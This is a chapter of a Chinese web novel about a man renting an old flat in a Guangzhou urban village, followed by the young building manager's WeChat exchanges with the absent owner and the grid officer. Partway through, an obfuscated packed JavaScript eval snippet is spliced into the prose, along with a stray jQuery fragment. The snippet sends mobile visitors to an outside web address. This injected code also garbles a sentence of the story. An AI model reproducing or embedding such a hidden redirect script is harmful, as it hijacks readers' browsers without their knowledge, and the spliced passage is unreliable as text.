金大勇心里已经倾向于租下，但他还是走出门上了五楼楼梯，想看看所谓的“独家使用天台”是什么样。李琳似乎明白他的心思，从口袋里掏出另一把钥匙，爬上五楼打开那扇不锈钢门。
钥匙转动，门开了，一阵冷风灌进来。
金大勇跟着走出去，眼前豁然开朗。
天台比他想象的大。水泥护栏有一米多高，刷着白色的漆，已经斑驳。天台一角立着几根不锈钢晾衣杆，在冬日下午稀薄的阳光下投出细长的影子；另一角堆着些杂物，用防水布盖着，看形状像是建材。
但真正让金大勇驻足的是视野——从五楼天台看出去，石陂村密密麻麻的“握手楼”像一片灰色的丛林，屋顶上各种颜色的塑料棚、太阳能板、中式亭子构成奇特的景观。远处，几栋新建的高层住宅楼拔地而起，玻璃幕墙反射着冰冷的日光。更远处，隐约可见区中心的高楼。
“天台可以晾衣服，晚上凉快时也可以坐坐。”李琳的声音从身后传来，依旧平淡，“但注意安全，护栏不要靠。”
金大勇点点头，走到天台边缘。从这里能看到楼下的巷道，一个外卖骑手正灵活地穿行在狭窄的通道里；对面楼一个老太太在阳台上收衣服；更远些，米粉店的蒸汽袅袅升起，在冷空气中凝成白色的雾。
他转过身，看向李琳。她站在天台门口，身影在逆光中显得有些单薄。风吹起她额前的碎发，她抬手拢了拢，这个动作让她看起来终于有了点这个年纪女孩该有的模样。
“你是二房东？”房东小姑娘的面相可不像是本地人呐。
“不是，亲戚的房子，她在国外我帮着代管。”李琳中规中矩的回答。
不是二房东就好，“房租九百？”金大勇问。
“月租九百，押一付一。”李琳回答，“水电另算，网络免费但要自己装路由器。”
这个价格在石陂村的套二里算中等偏下，这几天一直找房的金大勇知道，如果是装修较新的房子，同样面积至少要一千二。这房子旧，但空间和安静是优势，更重要的是——有独立天台，家里老头有个消遣的事情干。
他心里已经做了决定，但面上不显，又问了几个细节：垃圾投放点在哪，公共区域卫生怎么搞，如果东西坏了谁负责修。李琳一一回答，简短但清晰。说到维修时，她补充：“换灯泡这些小问题你们自己来，漏水这种事情叫我，家具家电坏了不是人为原因免费换。”
金大勇点点头，走回客厅中央，再次环顾四周。老家具静默地守在各自的位置，电视机漆黑的屏幕里，映着一小片窗外的天光。这屋子确实有些年头了，却不是那种处处透着廉价感的出租屋风格。屋里的每样东西都有年代感但也看得出扎实的用料与经心的维护。三个空调也都是好牌子，是住家户的感觉。
他看向李琳，正准备开口说“租了”，李琳却先说话了。
“有件事要说明。”她的声音很平静，但金大勇注意到她交握在身前的手指微微收紧，“这房子以前是房东阿婆的自住房。老人家是在医院病逝的，没在屋里。”
她顿了顿，似乎在观察金大勇的反应，然后补充：“如果你介意，可以直说。”
空气有几秒钟的凝滞。
金大勇沉默着，他毕竟要带着老爹一起住。
数秒后，他挥了挥手，动作幅度很大，像要挥开什么看不见的东西：“医院走的就成。咱们北方人不讲究那些虚的，房子干净、踏实就行。”
话说出口，他自己都觉得语气太过洪亮，在这安静的房间里甚至有点突兀。但李琳似乎并不在意，只是微微点了点头。
“那价格……”金大勇回到正题。
“九百，押一付一。”李琳重复。“房东定的价。”
“我直接押一付三吧。”金大勇说，“反正要长住，省得每个月交。”
李琳似乎有些意外，眨了眨眼：“好的。”
“现在就能签合同吗？”金大勇问。
“可以。”
李琳在房间抽屉里找出打印好的合同和一支笔，“合同是标准模板，你看看条款。”
金大勇接过，快速浏览。合同确实简单，列明了租金、租期、双方责任，没有那些隐藏条款。他指着水电费那一条：“这个怎么算？”
“水电是独立电表，每个月我抄表，按实际用量结算。”李琳说，“水五块一吨，电一块二一度。”
这是城中村的常规价格，略高于市政定价，但还算合理。
“成。”金大勇拿出自己的身份证，“需要复印吗？”
“我拍照就行。”李琳掏出手机，对着身份证正反面拍了照，动作熟练。拍完后，她把手机屏幕转向金大勇，“你看，主要是得上传给网格员。”
金大勇瞥了一眼，点点头。接着，他从随身挎包里掏出一个牛皮纸信封，从里面数出现金。三千六百元，都是百元钞，叠得整齐。他数了两遍，确认无误，递给李琳。
李琳接过钱，数了之后突然问道：“你的家里人是常住吗？几个人？网格员会查常住人口，没登记会罚款。”她盯着金大勇，强调说：“罚很高，如果查到罚款这钱得租客出。”
“诶，广府现在这么严了吗？”金大勇几年没来广府不禁诧异，“我媳妇儿和我爸，北方冬天太冷对老年人身体不好，我们搬过来打算常住。”
“麻烦把他们的身份证一起发来好吗？方便一齐登记。”
金大勇又只能现联系媳妇儿，让她赶紧拍照过来。
一阵转发之后，李琳从另一个口袋拿出一本手写收据，她翻开本子，里面已经有一些记录，字迹工整。她在最新一页写下日期、房号、租客姓名、金额，然后撕下那页，递给金大勇。
“收据。合同一式两份，你一份我一份。”
金大勇接过收据和合同，仔细对折，放进信封里。李琳又把几份钥匙递了过去：“水电表的截图，我等下发给你，你保存好，月底你也对一对。”
金大勇接过钥匙，点头笑了笑：“行，水电截图你发我微信就成，我存手机里。月底我自个儿对，差不了。”他把信封按进随身挎包里拉好拉链，“租房合同这东西得收妥当，我回去放文件袋里。你这房子保持得挺好，我做建材买卖的，平时接触人多，要有朋友想在这片儿找房，我帮你说一声。”
---
三楼，301房。
李琳坐在书桌前，她面前摊开着一个旧笔记本，上面记录着所有出租屋的信息：房号、租客姓名、租期、租金、水电读数……
她在“401”那一栏工整地写下：金大勇，押一付三，3600元，起租日期……
写完，她搁下笔，看了一眼手机屏幕上的时间。枫叶国那边是晚上没到凌晨，随后点开微信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193548|197104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里备注为“房东-安琪”的对话框，开始打字。
李琳：
四楼套二租出去了，租客金大勇，北方人，带妻子和父亲。月租900，押一付三，共3600，现金已收。另外105短租一个月，房租过几天存银行后一并转给你。
消息发出。她把手机放在一旁，继续核对本子上其他空房的水电读数。大约过了五六分钟，手机屏幕亮了。
安琪·李直接回过来一条语音。李琳点开公放，略带沙哑的广府话在安静的房间响起：
“现金收的？现在还有人用现金交租？”
李琳打字回复：
嗯。一家三口的身份证都核对过，稍后我会再提醒阿井加快审核。
阿井是村里的网格员，也是本村人。
安琪：
听说105那个短租的，是隔壁细鬼妹介绍的大学生？
八卦已经从广府传到了温哥华，安琪·李还以为超级琳生了小心思呢，她飞快的打字，询问：
怎么不让她同学租细鬼妹自己家的房？她家4号楼不是也有空房？
前几年日本佬喝醉酒搭讪女房客……
李琳看着屏幕，手指在键盘上悬停了片刻。她删掉了刚刚打出的几个字，重新输入。
李琳：
105房租便宜。
安琪：
阿琳，你就是心软。房租这么便宜，该涨就涨咯。我们这栋楼，一个月满打满算租金都收不到六千，还要给你免租、开工钱，我拿到手那点，还不够我在国内买东西的啦。
李琳没有回复这条长信息，转而打了一行字：
你之前说找代管公司接手，找了几个月，找到合适的没？过完年，我没时间一直管了，得去找工作。
对话框上方“正在输入…”的提示闪烁了好几下，又停住。过了近一分钟，新消息才跳出来。
安琪：
在找啦在找啦，找了几家，不是太合适。你再帮帮忙，管到年初，肯定不耽误你搵工，好不好？阿琳最靠谱了。
李琳的目光在“阿琳最靠谱了”那几个字上停留了两秒。她没再继续这个话题，只回了一句：
年关空房多，能租出一套是一套。
安琪：
辛苦你了阿琳。
李琳：
应该的。
---
李琳切回微信，找到备注为“网格员-阿井”的联系人。她打字发送：
刚租了个一家三口，现金交租，急，麻烦优先审核。
片刻，李井的回复跳了出来，带着调侃的语气：
超级琳，你这消息滞后了啊。我辞职都快一个月了。
李琳手指微顿，她简短地问：
几个月就辞？试用期满未？
李井回复得很快：
临时工的活儿真不是人干的，钱少事多。
我准备考研了。现在我们村的网格员是隔壁村的陈子豪，她弟陈子杰，应该是你初中同学。”
李琳没接同学的话题，只回：
急，帮忙催一下陈子豪审核。
行。
李井应道。
几分钟后，李井的消息再次弹出：
已查系统，审核通过。
李琳回了个“好”字。随即，她切回与安琪的对话窗口，将结果复制粘贴过去。